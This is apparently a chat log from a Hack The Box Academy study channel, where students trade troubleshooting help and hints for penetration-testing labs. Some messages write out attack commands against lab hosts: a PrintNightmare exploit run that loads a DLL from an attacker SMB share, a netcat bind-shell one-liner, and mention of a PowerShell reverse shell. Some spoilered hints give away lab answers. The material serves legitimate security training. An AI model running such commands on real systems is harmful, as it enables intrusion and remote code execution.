Hmm, I haven't done both of them, pretty sure from what I have seen Password Attacks does take much longer time.

[naive sage]

What's the error you getting?

I can just see smbmap detecting host.

[pine dune]

yeah i started doing cbbh as well as password attacks, Im hoping the rest of the modules in cpts arent as long as password attacks

[naive sage]

AD Enum & Attacks is.

[normal sand]

It just connects and then disconnects.

[lusty thicket]

looks like its checking for open ports

[normal sand]

I'll fire up a target host and grab a screenshot, brb.

[lusty thicket]

awesome

[naive sage]

[normal sand]

@naive sage @lusty thicket Nvm, it's working. It's just that it didn't permit NULL sessions and I wasn't authenticating. I thought something was wrong since I don't recall the tool being that verbose

[naive sage]

[lusty thicket]

awesome stuff man!

[pine dune]

ahh ok

[cunning plover]

Hi everyone sorry for bothering in this channel, im doing the certified box and i need some hints, anyone had done the box that can help?

[oak thistle]

Hello guys, Im stuck in the public exploits module, someone that did it can help me?

[storm elk]

#boxes if you can’t access, read #welcome

[naive sage]

you beat me to that one.

[storm elk]

State the section and your question and people might answer.

[cunning plover]

thanks ill check it out

[oak thistle]

it's the "Getting Started" module

[storm elk]

And section? Or is the section public exploits?

[lean folio]

maybe you didnt get it well 😄 You need to for example RENAME city1 to "flag". Then try to delete ANY CITY EXCEPT FLAG ! 😄 (for example delete city2) and then search for "flag" city 😄 Because what you did is, that you deleted flag 😄

[oak thistle]

"Public Exploits"

[storm elk]

Okay 🙂

[lusty thicket]

a rat and his friends crawling around your phone? is this real?

[storm elk]

we cant help you buddy

[elfin fog]

Unfortunately, it's true, but these are virtual rats who constantly control my phone, wifi, mobile internet, apps, VPN and basically everything. I thought you guys were smart, I wasn't, so with your help and continuous data input, we could play a live catch and reveal his real identity.

[storm elk]

we can't help you

if you have malware on your phone, reinstall it or clean it up with virus scanners

[elfin fog]

Unfortunately, it's been shot out of it, there's a lot I can do to restore it.

[rustic sage]

sudo python3 CVE-2021-1675.py inlanefreight.local/forend:Klmcargo2@172.16.5.5 '\172.16.5.225\CompData\backupscript.dll'
sudo smbserver.py -smb2support CompData /backupscript.dll -->Module Active Directory Enumeration & Attacks

it authenitcates succesfully but does not send the stage in msf console

[quiet trout]

Anyone mind helping with an explanation that is unclear for:
https://academy.hackthebox.com/module/237/section/2612

Rapid Triage Analysis...

the first demo is a time stomp identification but it doesnt clearly outline how to determine exactly how you identify which entry was changed

chat gpt gives both an answer and the opposing answer as... answers

i have what i believe to be an answer... that $FILE_NAME is kernel level and cannot be modified, and that $STANDARD_INFO (is not? and can be modified?) but what about root kits?

[pine dune]

yeah i got that i accidentally deleted "flag" instead of the city lol, but its fine i ended up reseting the lab

[elfin fog]

Probably, the root rat rooted the whole phone. I know that it needs Google DNS, and to be able to pump something to it: denied does not allow it. It must be rooted, but as I said, I tried to read it, but the internet immediately stops when I try something. The discord server has also been blocked, along with the permissions and notifications.

There is no obstacle for me to someone logging in remotely, I give them data, email address, etc. that they need and they look at it. I have nothing to hide. I have no bank details on my phone, nothing extra. My job search is constantly blocked, for example I don't have Facebook, I tried to register, but the system didn't allow me to do that either. My emails are filtered, I don't get everything, and the SIM card also works strangely.

[rocky mist]

Shells and Payload, Bind Shells
“SSH to the target, create a bind shell, then use netcat to connect to the target using the bind shell you set up. When you have completed the exercise, submit the contents of the flag.txt file located at /customscripts.”

When binding a shell to tcp session why does it do nothing? It just stays empty after I do the command
htb-student@ubuntu:~$ rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | sudo nc -l 10.129.228.129 8080 /tmp/f

[lofty whale]

on Pivoting, Tunneling, and Port Forwarding and im supposed to use proxychains to move on to the next target but it will not let me install proxychains. anyone else had this issue?

[elfin fog]

I don't have a computer, and I'm a complete idiot when it comes to programming, I've never studied, I'm not young anymore, for me it's like I have to start general isolation now, and I also have to learn a language. I have no idea what I need where, what program I need. And I only have a crappy Android phone. Unfortunately, this is the truth.

[lofty whale]

nevermind im an idiot

[ashen pollen]

How can i use wireshark to find a new user being made within a host

[granite canopy]

Could I get a hint for Whitebox attacks Type Juggling Authentication Bypass?

[lusty thicket]

same

[visual umbra]

is it normal for case#6 in sql essentials - Attack Tuning, take loong time to inject with time-based blind injection? I know time-blind can take time but this is ...

even when lower the --level and --risk

[granite canopy]

It depends on your net connectivity. Mine took some time but no more than an hour to get the flag. But you could use search queries and such to optimize it.

[visual umbra]

thanx

if it did take one h then i know it is no pornlem with it..

[granite canopy]

Did the same mistake when running machines once and waited for two hours 😄

[visual umbra]

ah, now it is retriving, and it takes time to:D

[ashen pollen]

How do i read this to figure out the name of the user attempting a action

[visual umbra]

just hope the target time is enough, just have 10min before i have to restart

[lusty thicket]

looks like bob hardworker is the user

might be wrong tho

[ashen pollen]

sadly not it

[tranquil axle]

the uname is just bob no?

[visual umbra]

data; name="uname" bob?

[tranquil axle]

form-data means it comes from a html form (so like a website that has you type in your user and password in seperate fields). name="uname" means the identifier of the field is "uname" (probably for username) and the content follow after: bob

Further down you see another form-data field with the name="psw", probably for password. The text after is then the password

[visual umbra]

nvm

im tierd... hehe

[ashen pollen]

Its not bob.

[tranquil axle]

which module/section is this?

[ashen pollen]

module/81/section/962

[tranquil axle]

I think you are looking at the wrong part in the pcap file

[ashen pollen]

Im still sifting for packets not even in a saved pcap

[short sentinel]

#cdsa we cannot use ssdeep -pb * command at the same time in Static Analysis On Linux , i use only ssdeep -p *. Has anyone faced this

[rough phoenix]

hi everyone,

is age important for exams?

[analog dock]

What do you mean

[rough phoenix]

if i am 15, can i take exam?

[analog dock]

https://help.hackthebox.com/en/articles/9456556-parental-consent-and-approval-for-users-under-18

[chilly echo]

Im doing the skill assesment of the shells & payloads module , there is no browser in the foothold machine

[urban elk]

type firefox in the terminal

[placid edge]

Anyone done the challenge for this module?

https://academy.hackthebox.com/module/184/section/1946

Im stuck on the challenge. Its for HTTP and TLS attacks

did you manage to solve this?

or you?

[west canopy]

WEB01 (and academy target machines in general) do not have internet access

[granite canopy]

Bump 🙂

[pine dagger]

You need to ||pad it to correct number of bytes, but the last byte needs to be how many bytes were 00. The hint tells you how many bytes it should be. Each pair is a byte, i.e. 00, or AA are bytes||

[placid edge]

isnt this correct then? ||AABBCCDDEEFF00000003||

[pine dagger]

No. That's only 10 bytes. Check the hint.

[placid edge]

got it

thanks, was counting wrong lol

[pine dagger]

You need to ||type juggle the password in the payload via burp suite or some other interceptor. Good way is tro try all of the comparison types||.

[dim shale]

hey y'all
I'm doing skills assessment on the information gathering - web edition module, and I get 0 results for additional vhosts on the target. I tried gobuster on my local kali vm as well as on the pwnbox, triple-checked my hosts file and other configs.
also, crawling on the initial vhost gives no interesting results, robots.txt returns a 404 message, etc. Is it possible that something's off with the target? or am I missing something?

[drifting gorge]

Issue on the modules for get web modules

[plain trellis]

have you tried different wordlists?

[median gale]

https://academy.hackthebox.com/module/163/section/1546 the nmap he is running on the pivot host is i guess a static binary?

[worthy laurel]

Can you help me about Graphql skills assessment?

[safe quarry]

hey i’m very new to htb and im currently working on the basic tools module. ran into a issue with netcat not working and given the error : ip forward host lookup failed

any help would be appreciated

[rough comet]

Hi. I am working on the crakmapexec module - MSSQL section. Can someome please explain to me, why I can read the content of a file, but downloading it does not work? the file I get is empty.

[rough comet]

Did you Google that error?

#1 lesson when learning this, is learn how to research

[safe quarry]

yes however everything that i was told to do i did and did not work

[rough comet]

what did you Google, what did you find

[neon wadi]

When using gobuster vhost to find a ".htb" domain, specify the ip address:port in the --url option, not the domain name, or it will try to look up the domain using DNS; then specify the xxx.htb domain using the --domain option, as well as --append-domain. You may need a subdomain wordlist that has over 100K words. Using 100 threads will help it go faster.

[safe quarry]

the error code and module step i am on

[rough comet]

show me the link of the page, what did you find?

The very 1st Google esult, probably has your answer. Check that out.

[autumn pilot]

compare the path you've specified and the one from the output of netexec

[rough comet]

is the same

isn't?

[autumn pilot]

check again

[untold otter]

Hey, strange question, can someone here hack into an Instagram account?

[safe quarry]

dns resolution issues, firewall or network problem or incorrect host name

[rough comet]

no, and this is not for that

[safe quarry]

i can single out dns fairewall and network problem as the machine is setup by htb

firewall*

[rough comet]

link?

that is NOT a link

that is ChatGPT

[safe quarry]

it’s my browser

it uses all website including the website you just circled

[rough comet]

check man pages

or use nc -h

there's a flag that you must use to avoid that

[rough comet]

I used single quotes this time, same problem:

[safe quarry]

i think i solved it

thanks anyway

[rough phoenix]

in cbbh exam can i use sqlmap?

[analog dock]

There’s no tool restrictions

[compact matrix]

its been stuck like that for ages

[shut vapor]

Refresh the page & wait a moment more. After that you can try switching regions and respawn (don't forget to redownload the VPN file).

[compact matrix]

but how do i stop it from spawning

I changed vpns

[shut vapor]

Refresh again? Hard fresh with Ctrl+Shift+R? I think changing regions usually stopped it from tryig to spawn, but after I found a region that worked well it hasn't happened much since, so I don't have any better suggestions.

[safe star]

Try spawning another machine

[viral lotus]

module cracking hashes with hashcat - section: Cracking Common Hashes - the question at the end I have identified the hash and ran it with the -g 1000 but it keeps exhausting it I know I have the right hashcat syntax but it doesn't work, how would I troubleshoot this?

I have all my working out in my notes if I can post here or DM someone, I am a bit confused why it isn't working

[tranquil axle]

if it exhausts it means the password was not in the password list

haven't done that module, does it tell you which list to use?

[viral lotus]

yes, I followed everything it got to the point it exhausted the rockyou.txt wordlist which is what it suggests to use and I even found a crib sheet online and done the identical command and nothing

[tranquil axle]

and it shows 0/1 recovered right? if hashcat has cracked the hash before you need to use --show to show it again

[viral lotus]

it hadn't cracked it before I dont think I can try running it again

[split bloom]

I've been stuck on the SQLMap Essentials module for like a month trying to get the contents of table flag3. I've been trying to use burpsuite and sqlmap do find the right injection to pull the table but sqlmap just says that the URL content isn't stable but the id parameter (as well as every other tested parameter) isnt injectable. Closest I've gotten is altering the cookie contents to change the output so that every ID is returned. My only guess is the the php uses the number in the cookie ID as a variable to pull the ID column in question 🤷

[viral lotus]

I even ran it back through hashes.com and it confirms the type of hash I used in hashcat was correct, really confused.. I will keep an eye on here but I am in GMT time

[gray yacht]

You can DM what you are trying.

[rough comet]

i continue having issues with the crakmapexec module

now on the kerberos section

why I am not able to use || grace || on this one? it is a valid domain account and the one that is provided.

Ok, resetting the box

Again

https://tenor.com/view/office-screaming-michael-scott-scream-gritando-gif-19054984

[tranquil axle]

is your /etc/hosts set up correctly? Thats pretty important for kerberos and ldap

[rough comet]

Yep

[tranquil axle]

cause it does complain about you trying to connect to 172.16.130.3

which looks like an internal ip

[cyan coral]

Hello guys, i have the same problem as this guy in SIEM Visualization Example 4: Users Added Or Removed From A Local Group (Within A Specific Timeframe) (SOC Analyst Certificate) and i can't find a solution for the problem, i tried all the dates. Can someone please help me ? Thanks a lot

[west canopy]

try specifying the full path for the destination file

[rough comet]

Thank you, I will go back and check. I moved on to the kerberos section, and having issues too

this is super weird... I am about to generate another VPN file

[rough comet]

weird

I do not understand why it does not work

port is open too

[tranquil axle]

That’s not enough, specify “dc01 inlanefreight dc01.inlanefreight.local inlanefreight.local

[rough comet]

ok, let me try

[west canopy]

yep, we need to have inlanefreight.htb resolve to the IP address too 😉

[rough comet]

kk

let me see

[west canopy]

Some other OSError occured: [Errno Connection error (INLANEFREIGHT.HTB:88)] [Errno -2] Name or service not known

[rough comet]

https://tenor.com/view/cat-dance-dancing-cat-chinese-dancing-cat-funny-cat-meme-cat-gif-10467369793935591867

[rough comet]

Thank you @tranquil axle and @west canopy

Maybe is time for dinner 😂

I love nxc by the way! So powerful

[west canopy]

ya it can do pretty much everything

[rough comet]

I'll check this one later tonight! Thanks

[clever cosmos]

Hey @gray yacht thx for replying. I am indeed setting the port. I tried with given port from target creation and standard port 22 which shows as open with nmap.

[gray yacht]

You can DM what you are getting on your end. I just redid this one since it was updated.

[rustic sage]

Anyone here in the military?

I wanted to talk with a recruiter but I'm not in the us and they keep shutting me down

Can I tell them I am

[split bloom]

I'll give it a shot, thanks for replying

[cyan coral]

?

[midnight galleon]

in windows priv esc citrix brakout, the citrix env is not reachable for our attack host, how did they connect the smb server to it?

[sand rose]

Anyone able to help with the section in the SQL injection section "Using Comments"?

The question is to login with the user with the id 5 to get the flag.

I'm trying with multiple variations of the following as the username: x' or where id=5);

I

[west canopy]

impacket-smbserver 😉

[sand rose]

I've also inputted passwords such as: something' #

In conjunction with usernames similar to the above

[west canopy]

also important, we have to be the root user
||```htb-student@ubuntu:~$ cd Tools/
htb-student@ubuntu:~/Tools$ sudo su

[sudo] password for htb-student:

root@ubuntu:/home/htb-student/Tools# smbserver.py -smb2support share $(pwd)
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[] Config file parsed
[] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[] Config file parsed
[] Config file parsed
[] Config file parsed```||

[midnight galleon]

they are in a diffrent subnets..

not reachable

[sand rose]

I saw something in the module saying that the "--" can also be used to select usernames from the table, but I'm not seeing the syntax for it? Maybe I'm misunderstanding something?

I'll step back now and awa a response if someone is able to get around to it :).

[midnight galleon]

citrix is 10.13 while pwnbox is 10.10

so it never connects

[west canopy]

you might be misunderstanding

from the citrix environment MS-Paint/File Explorer prompt

it can reach out to 10.13

[midnight galleon]

nope

[knotty gust]

In the active directory enumeration and attacks module, Credentialed Enumeration - from Windows is anyone able to connect to the attack machine? I've reset the attack machine 5 times now but it keeps timing out with this error. Just wanting to know if it's just me, or an HTB issue.

[dapper moth]

/p:[password]

[midnight galleon]

password

[knotty gust]

Even with /p:Academy_student_AD! it throws the same error

[midnight galleon]

can i DM u the problem?

[west canopy]

sure

[west canopy]

try putting the password inside of single quotes

[acoustic mesa]

Test

[knotty gust]

No luck with that either

[dapper moth]

Did you just spawn it!?

Cause it takes a bit of time to load the service

[knotty gust]

This specific IP has been up for 10 minutes now

I've reset the attack host 5 times, each time giving it 5-10 minutes and it keeps throwing the same error

[acoustic mesa]

Maybe need domain name if has domain

[dapper moth]

Works fine

[knotty gust]

Hmm, if it's working for you it must be an issue on my end. Let me try resetting my VPN and see if that helps any

[dapper moth]

There is also a certificate validation/verification fail
Try setting /cert-ignore

[knotty gust]

Resetting VPN didn't work, but /cert-ignore did. Thank you!

[west canopy]

interesting, i was able to connect without it 😆

[dapper moth]

Same.... But probably must have imputed not to trust the self signed cert

[woeful lake]

You have to ser a variable by winrm first

It is explained in the section, let me search the command

[viral mica]

I need help with a section on the privesc with windows module, on the vulnerable services section, I can't seem to get the Invoke-PowerShellTCP.ps1 script to give me an elevated reverse shell. When I run the Druval exploit using any other command it runs fine, for instance I put htb-student into the administrators group. What happens when I try to download the shell.ps1 script off my attack machine is that it doesn't download the shell.ps1 script.

So I used an smb server to transfer it instead and still the script wouldn't give me an elevated shell

[woeful lake]

Didn't see you allready solve it, my bad

[rich galleon]

I am stuck on the same part, were you able to find our how to solve the error?